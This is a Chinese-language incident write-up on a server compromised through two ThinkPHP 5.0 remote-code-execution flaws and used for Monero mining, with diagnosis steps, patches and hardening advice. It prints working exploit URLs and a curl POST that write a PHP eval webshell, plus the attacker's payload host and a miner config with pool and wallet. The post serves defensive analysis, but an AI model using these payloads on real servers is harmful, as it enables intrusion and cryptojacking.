由tp5漏洞引發的linux服務器http進程CPU異常飆高(輪爲免費礦工)

最近兩次發現服務器CPU佔用率達95%左右,top 查看後發現有個進程佔用異常偏高。但卻不佔用大量寬帶資源,而且服務器在請求壓力不大的狀況下能正常訪問,也就是不設置資源報警不易發覺。php

在第一次發現時還覺得是系統代碼問題致使死循環直接kill進程,但過一週後再次出現相同的狀況感受不對,應該是被玩了。python

首先查看下進程信息nginx

top

微信截圖_20190121164646.png

從top命令中能夠看到一個http的進程佔用資源很是大,服務器使用的是nginx+php-fpm組合用戶組是www,不會出現http命令的進程,http進程有點相似apache的httpd。thinkphp

須要分析下進程的來源以便完全清除,不過進程來自www用戶,而這個用戶組不會用於其它進程,也就是基本上能夠判定是經過http請求過來的getshell***。shell

查看進程信息:apache

ll /proc/28141

微信截圖_20190121170851.png

能夠看到exe執行文件已經被刪除了,同時還有子程序( task 目錄下),多進程的方式都是爲是最大化利用CPU多核資源完成大量的計算工做。編程


查看啓動進程命令:json

cat /proc/28141/cmdline

微信截圖_20190121165629.png

單獨啓動的可執行程序,應該是啓動後自動刪除了程序文件。能夠更好的隱藏。api


安裝下 lsof 命令,查看進程打開的文件信息安全

yum install lsof
lsof -p

微信圖片_20190121171347.png

從這裏能夠看到進程文件中包含了 http 文件,所在目錄是 /tmp 下,而且已經刪除了。進一步肯定文件啓動的位置。


經過strace 命令查看下進程執行信息

strace -p 28141

微信截圖_20190121171635.png


命令中大部分是在 epoll_wait ,網上查一下是用於網絡編程的,具體可自行了解。但能夠肯定這個進程一直在死循環同一個操做。

查看下子進程:

ps -T -p 28141

微信截圖_20190121172534.png

top -H -p 28141

微信圖片_20190121172747.png


有不少個子進程,其中有幾個佔用很是高,到這裏能夠肯定CPU被吃了的大概狀況,剩下就須要找出來源,程序是如何啓動的。


上面已經知道進程啓動的用戶是www,那查看下www有多少進程

ps aux|grep www

微信截圖_20190121173306.png

從這些命令中能夠看到有幾個進程須要好好了解下: perl、python r http、sh、sleep 0.5 ,由於在服務裏設置www用戶組是給nginx和php-fpm兩個進程用的,而這幾個進程顯然不是正常進程。

從異常http進程來看 python r http 進程很像是守護http進程先查它。按上面的方法走下。

lsof -p 16277

微信截圖_20190121174632.png

從這裏能夠看到這個進程工做目錄在/tmp下並且是經過 /var/run/php-fpm.sock 啓動的與http進程的啓動目錄同樣即頗有多是守護相關進程。還有系統並未使用php代碼去調用python進程,進一步說明php代碼存在getshell漏洞。

首先kill掉python r http進程

kill 16227

而後再看看是否kill掉了,結果

1548076799740693.png

整不掉,說明進程有問題,強制kill處理

kill -9 16277

再看

1548076943968277.png

進程已經kill掉了,而後kill掉http進程。

kill 28141

1548077058931155.png

一次性解決,而後再看下服務器的CPU佔用率,已經恢復正常。

top

image.png

這時就能夠把其它幾個進程所有kill掉,由於是***進程通常kill整不掉因此直接所有使用kill -9來處理,其中sleep進程是睡眠進程過會即自動結束無需處理。

kill -9 13160
kill -9 13205
kill -9 19914


而後再來分析黑入來源或方式,前段時間國產框架ThinkPHP5.0被爆導致getshell漏洞兩個,然而系統里正好系統使用的是ThinkPHP5.0。分別有:

注意:給出黑入方式只是爲了更瞭解黑入手段,不可肆意黑入他人,不然須要承擔法律責任,而且一切操做與本人無關! 不實事正常黑入通常都是從國外來的,畢竟追查難。


2018年12月9日發佈 https://blog.thinkphp.cn/869075?spm=a2c4g.11174386.n2.6.44e41051jOK7oE

這個漏洞影響很是大,主要是框架爲了功能更靈活自我創造的漏洞,網上已經有相關的黑入方式,大概的條件有:

think\App 類 module 方法無過濾處理 調用了 Loader::controller 方法

$instance = Loader::controller($controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller']);

而 think\Loader::controller 方法又作了一個很是誇張的動做,代碼以下:

微信截圖_20190121192157.png

這行代碼在一開始就判斷了 $name 是否包含 \ 符號,只要處理這個符號則直接當控制器類來使用,不通過任何處理就直接拿來使用,利用這點可使用其它非控制器類的類。

若是能添加本身須要的參數那就更方便了。恰好 think\App 類中獲取到控制器後調用了 think\App::invokeMethod 方法

return self::invokeMethod($call, $vars);

think\App::invokeMethod 方法會經過  think\App::bindParams 方法把請求的數據獲取出來。

微信截圖_20190121193656.png

但在查看 think\App::bindParams 方法時會發現有一個配置條件,會影響提取參數的形式,這個會影響黑入的形式。url_param_type 配置爲 0 爲說時取的是請求參數,爲 1 時取路徑參數。

比較典型的黑入鏈接有:(經過請求自動寫黑入腳本)

http://localhost/index.php/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[ggsmd]);?%3E

http://localhost/index.php/?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20@eval($_POST[ggsmd]);?%3E%27%3Ezxc.php

以上兩種不一樣的處理方式均可以完成黑入,一但黑入腳本生成成功就能夠執行請求所在用戶組權限以內的全部功能,並且還能夠操做完後把本身給刪除,不留下明顯的痕跡。

兼容作法官方已經出,具體代碼調整是:thinkphp/library/think/App.php  大概在 module 函數372行增長以下代碼

        if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

以下圖

image.png

這個漏洞官方已經出解救方式:https://blog.thinkphp.cn/869075?spm=a2c4g.11174386.n2.6.44e41051jOK7oE



2019年1月11日發佈 https://blog.thinkphp.cn/910675?spm=a2c4g.11174386.n2.6.45051051H6NAsV

此次發佈的漏洞又是一大壯舉,***者雙能夠來一波小刺激。框架初衷是靈活結果又過頭了,坑了一把粉絲。一樣網上也有相關的***方式,大概的狀況有:


think\Request 類的 method 方法容許執行指定POST請求數據爲方法名的 think\Request 類方法,默認 var_method 值爲 _method,也就是請求參數裏包含這個鍵值就能夠好好玩一把了,而框架自己調用這個方法的地方不少並且會進入***代碼塊,使得***更簡單了,具體的能夠跟蹤下代碼瞭解調用線路。

那麼問題來了,只能玩 think\Request 類的方法能作什麼,表面來看沒有什麼,但 think\Request 類裏又提供了一些擴展功能並提供了調用 call_user_func 或 call_user_func_array 方法的能力,從整個類文件裏看有兩個類容易利用分別是 __call 和 filterValue 方法,這兩個方法有個特色就是參數是經過當前類裏的屬性來提取調用器,若是能經過請求修改這個類裏的這些屬性值便可完成***。

經過代碼分析能夠看到 think\Request 類 filterValue 方法有參數都會進入,因此更容易***。


只要能修改 think\Request 類的 filter 數據便可。最簡單是調用 think\Request 類的 __construct 方法。

先分析 method 方法代碼:

微信截圖_20190121205721.png

只要POST參數包含配置數據 var_method 值爲鍵值便可,默認 var_method 值爲 _method,因此可使用簡單的POST請求並添加 _method=方法名 就能夠調用,而且會把請求的數據所有傳入。

再來看看 __construct 方法代碼: 

微信截圖_20190121210337.png

這段代碼毫無保留的直接修改類屬性數據,因此能夠直接修改 filter 數據,咱們經過發送一個POST請求:(簡單點經過curl命令來操做)

curl -X "POST" "http://appapi.zujiekeji.loc/index.php" -d "_method=__construct&filter[]=system&_=echo \"<?php @eval($_POST['FDS']);?>\" > zxc.php"

那麼系統就會自行建立一個***代碼文件,而後咱們再請求這個文件完成想要作的各類事情。

這個功能主要目的應該經過POST請求動態切換請求類型,好比經過POST請求切換到PUT請求到框架中處理,實際應用中須要這種動態切換類型數據的場景很少,並且整很差會破壞其它類型正常數據。

建議直接去掉這段代碼修復這個漏洞:thinkphp/library/think/Request.php 大概在 method 函數502行去掉對應的判斷代碼

image.png

若是已經有使用這裏的功能特性那隻能增長過濾條件:

    /**
     * 當前的請求類型
     * @access public
     * @param bool $method  true 獲取原始請求類型
     * @return string
     */
    public function method($method = false)
    {
        if (true === $method) {
            // 獲取原始請求類型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $_method = strtoupper($_POST[Config::get('var_method')]);
                if(in_array($_method, ['get','post','put','delete','head','patch','options'] , true)){
                    $this->method = $_method;
                    $this->{$this->method}($_POST);
                }
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            }
        }
        return $this->method;
    }


對於這個漏洞官方已經出了對應的解決方法:https://blog.thinkphp.cn/910675?spm=a2c4g.11174386.n2.6.45051051H6NAsV




有了這兩個漏洞的瞭解,就能夠來看看日誌數據了,是否有相關的請求來源,若是存在則比較吻合幾個條件:

一、異常進程使用的用戶組相同

二、進程是經過php-fpm啓動的(即外部請求調用的)

三、與爆出漏洞時間點比較接近

四、存在漏洞黑入機會


搜索nginx日誌後發現

1548077807626465.png

全部基本上能夠判定是這裏形成的問題。

如今基本上使用的是雲服務器,通常都有基本的安全預警,這裏使用的是阿里雲服務器,從主機異常從能夠找到異常信息有:

image.png


也就是這裏經過請求黑入的php腳本執行了這些命令,完成了整個的黑入。

手動下載配置文件 http://190.2.147.11/static/data.c 後,會發現這麼一個json文件

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "asm": true,
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 95,
    "pools": [
        {
            "url": "190.2.147.8:6666",
            "user": "4An3Radh69LgcTHJf1U3awa9ffej4b6DcUmEv8wirsDm8zRMSjifrwybH2AzHdEsW8eew3rFtk4QbGJMxqitfxmZJhABxpT",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": -1,
            "tls": false,
            "tls-fingerprint": null
        }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": null,
    "user-agent": null,
    "watch": false
}

網上一找是門羅幣的挖礦配置,經過下載挖礦程序再啓動,便可免費挖礦。通常挖礦沒有破壞性但會佔用大量CPU資源和內存還有部分寬帶,嚴重影響服務器性能有價值的性能發輝。



事前這些安全漏洞阿里去已經通知過,雖然知道的稍晚也做了漏洞補救,但沒有想到進程已經在知道前注入了,沒有過多的去檢查,致使被肉雞。

對此一些安全細節點須要留意:

一、對外服務進程用戶不可以使用root,防止黑入後權限過大

二、用戶組下可疑進程時常排查下(可寫個腳本定時處理,阿里雲部分監控但不能100%可靠)

三、系統硬件資源須要定時查看是否正常(可寫個腳本定時提取,阿里雲有監控可配置)

四、安全漏洞必定要及時修復並檢查是否已經被黑了

五、對於PHP系統代碼儘量不使用可執行命令的函數如eval、system等

六、框架儘量選用更安全的(這不是詆譭目前tp框架爲了靈活功能且體積更小花了很多心思但功能過於靈活存在的安全問題也就越大,實際使用率有多少?)

七、不要看輕搞事人的能力服務器在公網端口是直接暴露的,很容易掃描出來,因此不是很須要的功能儘量不要開

八、防火牆類的過濾性安全仍是要增長的,能減小外網訪問的端口想法辦限制

相關文章
相關標籤/搜索